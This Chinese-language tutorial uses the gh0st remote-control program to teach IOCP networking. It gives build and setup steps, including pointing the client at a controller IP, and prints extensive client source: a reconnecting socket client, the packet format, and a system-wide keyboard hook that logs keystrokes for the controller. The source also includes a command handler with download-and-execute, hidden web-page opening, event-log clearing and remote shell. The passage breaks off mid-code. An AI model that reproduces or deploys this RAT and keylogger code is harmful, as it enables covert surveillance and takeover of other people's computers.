上一小節,我們介紹了 Windows 系統上最強大的網絡通信模型——完成端口模型(IOCP),但是隻停留於一些用法介紹和理論講解,這一節我們以 gh0st 這一曾經大名頂頂的遠程控制軟件的實戰一下,我這個版本的 gh0st 網絡通信模型使用的正是 IOCP 。由於,本小節的目的是爲了演示前面各個章節介紹的網絡通信基礎,所以關於 gh0st 具體的一些業務邏輯細節不會作過多的介紹,而是以程序整體框架和網絡通信模塊爲重點內容。
Gh0st 的編譯與使用方法
相信很多人應該或多或少地聽說過 gh0st 的大名,正如上面所說,它是一款遠程控制軟件,其原始版本的代碼和作者已經無從考證,筆者手裏這一份也來源於網絡,我修正一些 bug 並作了一些優化,僅供個人學習研究,不可用於商業用途和任何非法用途,否則後果自負。
源碼下載方法:
關注下面【高性能服務器開發】公衆號,在後臺回覆關鍵字【gh0st】,中間是數字零不是字母O。
編譯方法
下載好代碼以後,使用 Visual Studio 2013 打開源碼目錄下的 gh0st.sln 文件,打開後,整個解決方案有兩個工程分別是 gh0st_server 和 gh0st_client。如下圖所示:
其中,gh0st_server 是遠程控制的控制端,gh0st_client 是遠程控制的被控制端。gh0st_client 通過網絡連接 gh0st_server 並將自己所在的機器的一些基本信息(如計算機名、操作系統版本號、CPU 型號、有無攝像頭等)反饋給控制端,連接成功以後控制端就可以通過網絡將相應的控制命令發給被控制端了,被控制端將命令執行結果發給控制端,以此來達到遠程控制目標主機的目的。原理示意如下:
爲了讓 gh0st_client 能夠順利連上 gh0st_server,需要根據你實際情形,將 gh0st_client連接的ip地址和端口號改成 gh0st_server 的端口號,修改方法是:打開源碼目錄下的 Gh0st_Server_Svchost/svchost.cpp 153 行有服務器 ip 地址設置代碼:
TCHAR *lpszHost = TEXT("127.0.0.1");
將代碼中的 127.0.0.1 修改成你的控制端 gh0st_server 所在地址即可,如果你是本機測試,可以保持不變。筆者測試本軟件控制端是我的機器,被控制端是筆者虛擬機裏面另外一臺 Windows 7 系統,筆者將地址修改成 10.32.26.125,這是我控制端的地址。
修改完 ip 地址之後,就可以編譯這兩個工程得到控制端和被控制端可執行程序了。點擊Visual Studio 【BUILD】菜單下【Rebuild Solution】菜單項,即可進行編譯,等編譯完成之後,在目錄 Output\Debug\bin 下會生成 gh0st_server.exe 和 gh0st_client.exe 兩個可執行文件即爲我們上文中介紹的控制端和被控制端。
使用方法
我們先在本機上啓動 gh0st_server.exe,然後在虛擬機中啓動被控制端 gh0st_client.exe,很快 gh0st_client 就會連上 gh0st_server。這二者的啓動順序無所謂誰先誰後,因爲 gh0st_client 有自動重連機制,被控制端連上控制端後,控制端(gh0st_server)的效果圖如下所示:
當然,控制端可以同時控制多個被控制端,我這裏在本機也開了一個被控制端,所以界面上會顯示兩個連上來的主機信息。
我們選擇其中一個主機,點擊右鍵菜單中的某一項就可以進行具體的控制操作了:
下面截取一些控制畫面:
文件管理
文件管理功能可以自由從控制端被控制來回傳送和運行文件。
遠程終端
遠程桌面
當然,遠程桌面功能不僅可以查看遠程電腦當前正在操作的界面,同時還可以控制它的操作,在遠程桌面窗口標題欄右鍵彈出菜單中選擇【控制屏幕】即可,當然爲了控制的流暢性,你可以自由選擇被控制端傳過來的圖片質量,最高是 32位真彩色。
爲了節省篇幅,其他功能就不一一截圖了,有興趣的讀者可以自行探索。
gh0st_client 源碼分析
程序主脈絡
我們先來看下被控制端的代碼基本邏輯(原始代碼位於 svchost.cpp 中),簡化後的脈絡代碼如下:
int main(int argc, char **argv)
{
// lpServiceName,在ServiceMain返回後就沒有了
TCHAR strServiceName[200];
lstrcpy(strServiceName, TEXT("clientService"));
//一個隨機的名字
TCHAR strKillEvent[60];
HANDLE hInstallMutex = NULL;
if (!CKeyboardManager::MyFuncInitialization())
return -1;
// 告訴操作系統:如果沒有找到CD/floppy disc,不要彈窗口嚇人
SetErrorMode(SEM_FAILCRITICALERRORS);
//TCHAR *lpszHost = TEXT("127.0.0.1");
TCHAR *lpszHost = TEXT("10.32.26.125");
DWORD dwPort = 8080;
TCHAR *lpszProxyHost = NULL;//這裏就當做是上線密碼了
HANDLE hEvent = NULL;
CClientSocket socketClient;
socketClient.bSendLogin = true;
BYTE bBreakError = NOT_CONNECT; // 斷開連接的原因,初始化爲還沒有連接
while (1)
{
// 如果不是心跳超時,不用再sleep兩分鐘
if (bBreakError != NOT_CONNECT && bBreakError != HEARTBEATTIMEOUT_ERROR)
{
// 2分鐘斷線重連, 爲了儘快響應killevent
for (int i = 0; i < 2000; i++)
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, FALSE, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
// 每次睡眠60毫秒,一共睡眠2000次,共計兩分鐘
Sleep(60);
}
}// end if
if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR;
continue;
}
CKeyboardManager::dwTickCount = GetTickCount();
// 登錄
DWORD dwExitCode = SOCKET_ERROR;
sendLoginInfo_false(&socketClient);
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
//////////////////////////////////////////////////////////////////////////
// 等待控制端發送激活命令,超時爲10秒,重新連接,以防連接錯誤
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
Sleep(1000);
}
// 10秒後還沒有收到控制端發來的激活命令,說明對方不是控制端,重新連接
if (!manager.IsActived())
continue;
DWORD dwIOCPEvent;
CKeyboardManager::dwTickCount = GetTickCount();
do
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
dwIOCPEvent = WaitForSingleObject(socketClient.m_hExitEvent, 100);
Sleep(500);
} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
}// end while-loop
SetErrorMode(0);
ReleaseMutex(hInstallMutex);
CloseHandle(hInstallMutex);
return 0;
}
這段邏輯可以梳理成如下的流程圖:
通過上圖,我們得到程序三個關鍵性執行絡脈:
- 脈絡一
我們可以知道要想讓整個被控制端程序退出就需要收到所謂的殺死事件,判斷收到殺死事件的機制是使用 Windows 的內核對象 Event(注意與 UI 事件循環那個 Event),在前面的多線程章節也介紹過,如果這個 Event 對象是一個命名對象,它是可以跨進程的共享的,當我們一個進程嘗試使用 OpenEvent API 結合事件名稱去打開它,如果這個命名對象已經存在,就會返回這個內核對象的句柄,反之如果不存在則返回 NULL,上述代碼中 32 ~ 37 行,70、75 ~ 79行代碼即是利用這個原理來控制程序是否退出。
hEvent = OpenEvent(EVENT_ALL_ACCESS, FALSE, strKillEvent);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
- 脈絡二
如果程序收到的是所謂的退出事件(socketClient.m_hExitEvent),則會斷開當前連接,兩分鐘後重新連接。
- 脈絡三
如果不是脈絡一和脈絡二的邏輯,程序的主線程就會一直執行一個小的循環(上述代碼 68 行 ~ 73 行),無限等待下去,這樣做的目的是爲了主線程不退出,這樣支線程(工作線程)才能正常工作。那麼有幾個工作線程呢?分別是做什麼工作?
工作線程
工作線程一
在主線程連接服務器時,調用了:
//svchost.cpp 211行
socketClient.Connect(lpszHost, dwPort)
在 socketClient.Connect() 函數中末尾處,即連接成功後,會新建一個工作線程,線程函數叫 WorkThread:
//ClientSocket.cpp 167行
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
WorkThread 函數的內容如下:
//ClientSocket.cpp 174行
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
closesocket(NULL);
CClientSocket *pThis = (CClientSocket *)lparam;
char buff[MAX_RECV_BUFFER];
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(pThis->m_Socket, &fdSocket);
closesocket(NULL);
while (pThis->IsRunning())
{
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, NULL);
if (nRet == SOCKET_ERROR)
{
pThis->Disconnect();
break;
}
if (nRet > 0)
{
memset(buff, 0, sizeof(buff));
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);
if (nSize <= 0)
{
pThis->Disconnect();
break;
}
if (nSize > 0)
pThis->OnRead((LPBYTE)buff, nSize);
}
}
return -1;
}
這段代碼先用 select 函數檢測連接 socket 上是否有數據可讀,如果有數據則調用 recv 函數去收取數據,每次最多收取 MAX_RECV_BUFFER(8 * 1024) 個字節。由於這裏 select 函數最後一個參數設置成了 NULL,如果當前沒有可讀數據,則 select 函數會無限阻塞該線程;如果 select 函數調用失敗,則斷開連接,在斷開連接時,除了重置一些狀態外,還會設置上文說的 socketClient.m_hExitEvent 事件對象,這樣主線程就不會繼續卡在上文說的那個循環中,而是會繼續下一輪的重連服務器動作。
//ClientSocket.cpp 311行
void CClientSocket::Disconnect()
{
//非重點代碼省略...
SetEvent(m_hExitEvent);
//非重點代碼省略...
}
如果成功收到數據以後,接着該工作線程調用 pThis->OnRead((LPBYTE)buff, nSize); 進行解包處理:
//SocketClient.cpp 227行
void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
{
closesocket(NULL);
try
{
if (dwIoSize == 0)
{
Disconnect();
return;
}
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// 重新發送
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
return;
}
// Add the message to out message
// Dont forget there could be a partial, 1, 1 or more + partial mesages
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
// Check real Data
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag));
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
// Read off header
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
delete[] pData;
delete[] pDeCompressionData;
}
else
break;
}
}
catch (...)
{
m_CompressionBuffer.ClearBuffer();
Send(NULL, 0);
}
closesocket(NULL);
}
這是一段非常經典的解包邏輯處理方式,通過這段代碼我們也能得到 gh0st 使用的網絡通信協議格式。
如果收到的數據大小是 FLAG_SIZE(5)個字節,且內容是 gh0st 這五個字母(這種序列稱爲 Packet Flag):
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// 重新發送
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
return;
}
m_bPacketFlag 是一個 5 字節的數據,其在 CClientSocket 對象構造函數中設置的:
//ClientSocket.cpp 34行
BYTE bPacketFlag[] = { 'g', 'h', '0', 's', 't' };
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
這個 Packet Flag 的作用是 gh0st 控制端和被控制端協商好的,如果某一次某一端收到僅僅含有 Packet Flag 的數據,該端會重發上一次的數據包。這個我們可以通過發數據的函數中的邏輯可以看出來:
//SocketClient.cpp 340行
int CClientSocket::Send(LPBYTE lpData, UINT nSize)
{
closesocket(NULL);
m_WriteBuffer.ClearBuffer();
if (nSize > 0)
{
// Compress data
unsigned long destLen = (double)nSize * 1.001 + 12;
GetTickCount();
LPBYTE pDest = new BYTE[destLen];
if (pDest == NULL)
return 0;
int nRet = compress(pDest, &destLen, lpData, nSize);
if (nRet != Z_OK)
{
delete[] pDest;
return -1;
}
//////////////////////////////////////////////////////////////////////////
LONG nBufLen = destLen + HDR_SIZE;
// 5 bytes packet flag
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
// 4 byte header [Size of Entire Packet]
m_WriteBuffer.Write((PBYTE)&nBufLen, sizeof(nBufLen));
// 4 byte header [Size of UnCompress Entire Packet]
m_WriteBuffer.Write((PBYTE)&nSize, sizeof(nSize));
// Write Data
m_WriteBuffer.Write(pDest, destLen);
delete[] pDest;
//原始未壓縮的數據先備份一份
// 發送完後,再備份數據, 因爲有可能是m_ResendWriteBuffer本身在發送,所以不直接寫入
LPBYTE lpResendWriteBuffer = new BYTE[nSize];
GetForegroundWindow();
CopyMemory(lpResendWriteBuffer, lpData, nSize);
GetForegroundWindow();
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(lpResendWriteBuffer, nSize); // 備份發送的數據
if (lpResendWriteBuffer)
delete[] lpResendWriteBuffer;
}
else // 要求重發, 只發送FLAG
{
m_WriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag));
m_ResendWriteBuffer.ClearBuffer();
m_ResendWriteBuffer.Write(m_bPacketFlag, sizeof(m_bPacketFlag)); // 備份發送的數據
}
// 分塊發送
return SendWithSplit(m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLen(), MAX_SEND_BUFFER);
}
這個函數的第二個參數 nSize 如果不大於 0, 則調用該函數時的作用就是發一下該 Packet Flag,對端收到該 Flag 數據後就會重發上一次的包,爲了方便重複本端上一的數據包,每次正常發數據的時候,會將本次發送的數據備份到 m_ResendWriteBuffer 成員變量中去,下一次取出該數據即可重發。
如果收到的不是重發標誌,則將數據放到接收緩衝區 m_CompressionBuffer 中,這也是一個成員變量,而且其數據是壓縮後的,接下來就是解包的過程。
//ClientSocket.cpp 247行
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
// Check real Data
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag));
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
// Read off header
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
delete[] pData;
delete[] pDeCompressionData;
}
else
break;
}
這個過程如下:
gh0st 的通信協議
根據上面的流程,我們可以得到 gh0st 網絡通信協議包的格式,我們用一個結構體來表示一下:
//讓該結構體以一個字節對齊
#pragma pack(push, 1)
struct Gh0stPacket
{
//5字節package flag: 內容是gh0st
char flag[5];
//4字節的包大小
int32_t packetSize;
//4字節包體壓縮前大小
int32_t bodyUncompressedSize;
//數據內容,長度爲packetSize-13
char data[0];
}
#pragma pack(pop)
當發送數據裝包的過程和這個解包的過程剛好相反,位於上面說的 CClientSocket::Send 函數裏面,這裏就不再重複介紹了。
工作線程二
我們剛纔介紹了,當解析完一個完整的數據包後,把它放入CClientSocket 的成員變量 m_DeCompressionBuffer 中,然後交給 m_pManager->OnReceive() 函數處理,m_pManager 是一個基類 CManager 對象指針,其 OnReceive 函數我們要看其指向的子類方法的具體實現。這個對象在哪裏設置的呢?
在我們上面介紹的程序主脈絡中我們說主線程中有一個步驟是等待控制端發送激活命令,這個步驟有這樣一段代碼:
//svchost.cpp 220行
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent,
lpszHost, dwPort);
socketClient.setManagerCallBack(&manager);
在這裏我們可以得出 CClientSocket.m_pManager 指向的實際對象是 CKernelManager,同時在 CKernelManager 的構造函數中又新建了一個工作線程,線程函數叫 Loop_HookKeyboard。
//KernelManager.cpp 111行
m_nThreadCount = 0;
// 創建一個監視鍵盤記錄的線程
// 鍵盤HOOK跟UNHOOK必須在同一個線程中
m_hThread[m_nThreadCount++] =
MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_HookKeyboard, NULL, 0, NULL, true);
這個線程句柄被保存在 CKernelManager 的 m_hThread 數組中。線程函數 Loop_HookKeyboard 內容如下:
//Loop.h 76行
DWORD WINAPI Loop_HookKeyboard(LPARAM lparam)
{
TCHAR szModule[MAX_PATH - 1];
TCHAR strKeyboardOfflineRecord[MAX_PATH];
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
CKeyboardManager::MyGetSystemDirectory(strKeyboardOfflineRecord, ARRAYSIZE(strKeyboardOfflineRecord));
lstrcat(strKeyboardOfflineRecord, TEXT("\\desktop.inf"));
if (GetFileAttributes(strKeyboardOfflineRecord) != INVALID_FILE_ATTRIBUTES /*- 1*/)
{
int j = 1;
g_bSignalHook = j;
}
else
{
// CloseHandle(CreateFile( strKeyboardOfflineRecord, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL));
// g_bSignalHook = true;
int i = 0;
g_bSignalHook = i;
}
// g_bSignalHook = false;
while (1)
{
while (g_bSignalHook == 0)
{
Sleep(100);
}
CKeyboardManager::StartHook();
while (g_bSignalHook == 1)
{
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
Sleep(100);
}
CKeyboardManager::StopHook();
}
return 0;
}
其核心的代碼是安裝一個類型爲 WH_GETMESSAGE 的Windows Hook (鉤子) 的 CKeyboardManager::StartHook():
//KeyboardManager.cpp 313行
bool CKeyboardManager::StartHook()
{
//...無關代碼省略...
m_pTShared->hGetMsgHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);
//...無關代碼省略
return true;
}
WH_GETMESSAGE 類型的鉤子會截獲鉤子所在系統上的所有使用 GetMessage 或 PeekMessage API 從消息隊列中取消息的程序的消息。拿到消息後,對消息的處理放在 GetMsgProc 函數中:
//KeyboardManager.cpp 167行
LRESULT CALLBACK CKeyboardManager::GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
TCHAR szModule[MAX_PATH];
MSG* pMsg;
TCHAR strChar[2];
TCHAR KeyName[20];
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
LRESULT result = CallNextHookEx(m_pTShared->hGetMsgHook, nCode, wParam, lParam);
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
pMsg = (MSG*)(lParam);
// 防止消息重複產生記錄重複,以pMsg->time判斷
if (
(nCode != HC_ACTION) ||
((pMsg->message != WM_IME_COMPOSITION) && (pMsg->message != WM_CHAR)) ||
(m_dwLastMsgTime == pMsg->time)
)
{
return result;
}
m_dwLastMsgTime = pMsg->time;
if ((pMsg->message == WM_IME_COMPOSITION) && (pMsg->lParam & GCS_RESULTSTR))
{
HWND hWnd = pMsg->hwnd;
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
HIMC hImc = ImmGetContext(hWnd);
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
LONG strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, NULL, 0);
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
// 考慮到UNICODE
strLen += sizeof(WCHAR);
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
strLen = ImmGetCompositionString(hImc, GCS_RESULTSTR, m_pTShared->str, strLen);
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
ImmReleaseContext(hWnd, hImc);
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
SaveInfo(m_pTShared->str);
}
if (pMsg->message == WM_CHAR)
{
if (pMsg->wParam <= 127 && pMsg->wParam >= 20)
{
strChar[0] = pMsg->wParam;
strChar[1] = TEXT('\0');
SaveInfo(strChar);
}
else if (pMsg->wParam == VK_RETURN)
{
SaveInfo(TEXT("\r\n"));
}
// 控制字符
else
{
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
memset(KeyName, 0, sizeof(KeyName));
CKeyboardManager::MyGetShortPathName(szModule, szModule, MAX_PATH);
if (GetKeyNameText(pMsg->lParam, &(KeyName[1]), sizeof(KeyName)-2) > 0)
{
KeyName[0] = TEXT('[');
CKeyboardManager::MyGetModuleFileName(NULL, szModule, MAX_PATH);
lstrcat(KeyName, TEXT("]"));
SaveInfo(KeyName);
}
}
}
return result;
}
該函數所做的工作就是記錄被監控的電腦上的鍵盤輸入,然後調用 SaveInfo 函數或存盤或發給控制端。
讓我們繼續來看 CKernelManager::OnReceive() 函數如何對解析後的數據包進行處理的:
//KernelManager.cpp 136行
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
//服務端可以激活開始工作
case COMMAND_ACTIVED:
{
//代碼省略...
break;
case COMMAND_LIST_DRIVE: // 文件管理
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false);
break;
case COMMAND_SCREEN_SPY: // 屏幕查看
//代碼省略...
break;
case COMMAND_WEBCAM: // 攝像頭
//代碼省略...
break;
// case COMMAND_AUDIO: // 語音
//代碼省略...
// break;
case COMMAND_SHELL: // 遠程shell
//代碼省略...
break;
case COMMAND_KEYBOARD:
//代碼省略...
break;
case COMMAND_SYSTEM:
//代碼省略...
break;
case COMMAND_DOWN_EXEC: // 下載者
//代碼省略...
SleepEx(101, 0); // 傳遞參數用
break;
case COMMAND_OPEN_URL_SHOW: // 顯示打開網頁
//代碼省略...
break;
case COMMAND_OPEN_URL_HIDE: // 隱藏打開網頁
//代碼省略...
break;
case COMMAND_REMOVE: // 卸載,
//代碼省略...
break;
case COMMAND_CLEAN_EVENT: // 清除日誌
//代碼省略...
break;
case COMMAND_SESSION:
//代碼省略...
break;
case COMMAND_RENAME_REMARK: // 改備註
//代碼省略...
break;
case COMMAND_UPDATE_SERVER: // 更新服務端
//代碼省略...
break;
case COMMAND_REPLAY_HEARTBEAT: // 回覆心跳包
//代碼省略...
break;
}
}
通過上面的代碼,我們知道解析後的數據包第一個字節就是控制端發給被控制端的命令號,剩下的數據,根據控制類型的不同而具體去解析。控制端每發起一個控制,都會新建一個線程來處理,這些線程句柄都記錄在上文說的 CKernelManager::m_hThread 數組中。我們以文件管理這條命令爲例,創建的文件管理線程函數如下:
//Loop.h 18行
DWORD WINAPI Loop_FileManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CFileManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
在這個線程函數中又重新創建了一個 CClientSocket 對象,然後利用這個對象重新連接一下服務器,ip 地址和端口號與前面的一致。由於 socketClient 和 manager 都是一個棧變量,爲了避免其出了函數作用域失效, socketClient.run_event_loop() 會通過退出事件阻塞這個函數的退出:
//ClientSocket.cpp 212行
void CClientSocket::run_event_loop()
{
//...無關代碼省略...
WaitForSingleObject(m_hExitEvent, INFINITE);
}
在 CFileManager 對象的構造函數中,將驅動器列表發給控制端:
//FileManager.cpp 17行
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient)
{
m_nTransferMode = TRANSFER_MODE_NORMAL;
// 發送驅動器列表, 開始進行文件管理,建立新線程
SendDriveList();
}
現在已經有兩個 socket 與服務器端相關聯了,服務器端關於文件管理類的指令是發給後一個 socket 的。當收到與文件操作相關的命令,CFileManager::OnReceive 函數將處理這些這些命令,併發送處理結果:
//FileManager.cpp 29行
void CFileManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
closesocket(NULL);
switch (lpBuffer[0])
{
case COMMAND_LIST_FILES:// 獲取文件列表
SendFilesList((char *)lpBuffer + 1);
break;
case COMMAND_DELETE_FILE:// 刪除文件
DeleteFileA((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DELETE_DIRECTORY:// 刪除文件
////printf("刪除目錄 %s\n", (char *)(bPacket + 1));
DeleteDirectory((char *)lpBuffer + 1);
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DOWN_FILES: // 上傳文件
UploadToRemote(lpBuffer + 1);
break;
case COMMAND_CONTINUE: // 上傳文件
SendFileData(lpBuffer + 1);
break;
case COMMAND_CREATE_FOLDER:
CreateFolder(lpBuffer + 1);
break;
case COMMAND_RENAME_FILE:
Rename(lpBuffer + 1);
break;
case COMMAND_STOP:
StopTransfer();
break;
case COMMAND_SET_TRANSFER_MODE:
SetTransferMode(lpBuffer + 1);
break;
case COMMAND_FILE_SIZE:
CreateLocalRecvFile(lpBuffer + 1);
break;
case COMMAND_FILE_DATA:
WriteLocalRecvFile(lpBuffer + 1, nSize -1);
break;
case COMMAND_OPEN_FILE_SHOW:
OpenFile((TCHAR *)lpBuffer + 1, SW_SHOW);
break;
case COMMAND_OPEN_FILE_HIDE:
OpenFile((TCHAR *)lpBuffer + 1, SW_HIDE);
break;
default:
break;
}
}
關於文件具體指令的執行這裏就不分析了,其原理就是調用相關 Windows 文件 API 來操作磁盤或文件(夾)。
下圖是我們在控制端同時開啓三個文件管理窗口和一個遠程桌面窗口的效果截圖:
gh0st_server 源碼分析
gh0st_server 使用的框架是 MFC,部分界面元素使用了 CJ60Lib。關於界面部分,我們這裏就不做介紹了。
筆者修正的 bug
原始的 gh0st_server 代碼由於在網絡線程中直接操作 UI 元素,這在 CJ60Lib 中會導致程序崩潰。我們來看一下原始的邏輯:
//IOCPServer.cpp 868行
bool CIOCPServer::OnClientReading(ClientContext* pContext, DWORD dwIoSize)
{
CLock cs(CIOCPServer::m_cs, "OnClientReading");
try
{
//////////////////////////////////////////////////////////////////////////
static DWORD nLastTick = GetTickCount();
static DWORD nBytes = 0;
nBytes += dwIoSize;
if (GetTickCount() - nLastTick >= 1000)
{
nLastTick = GetTickCount();
InterlockedExchange((LPLONG)&(m_nRecvKbps), nBytes);
nBytes = 0;
}
//////////////////////////////////////////////////////////////////////////
if (dwIoSize == 0)
{
RemoveStaleClient(pContext, FALSE);
return false;
}
if (dwIoSize == FLAG_SIZE && memcmp(pContext->m_byInBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// 重新發送
Send(pContext, pContext->m_ResendWriteBuffer.GetBuffer(), pContext->m_ResendWriteBuffer.GetBufferLen());
// 必須再投遞一個接收請求
PostRecv(pContext);
return true;
}
// Add the message to out message
// Dont forget there could be a partial, 1, 1 or more + partial mesages
pContext->m_CompressionBuffer.Write(pContext->m_byInBuffer, dwIoSize);
m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_RECEIVE);
// Check real Data
while (pContext->m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, pContext->m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
throw "bad buffer";
//nSize是包的總大小
int nSize = 0;
//CopyMemory(&nSize, pContext->m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
CopyMemory(&nSize, pContext->m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(bPacketFlag));
// Update Process Variable
pContext->m_nTransferProgress = pContext->m_CompressionBuffer.GetBufferLen() * 100 / nSize;
if (nSize && (pContext->m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
// Read off header
pContext->m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
pContext->m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
pContext->m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
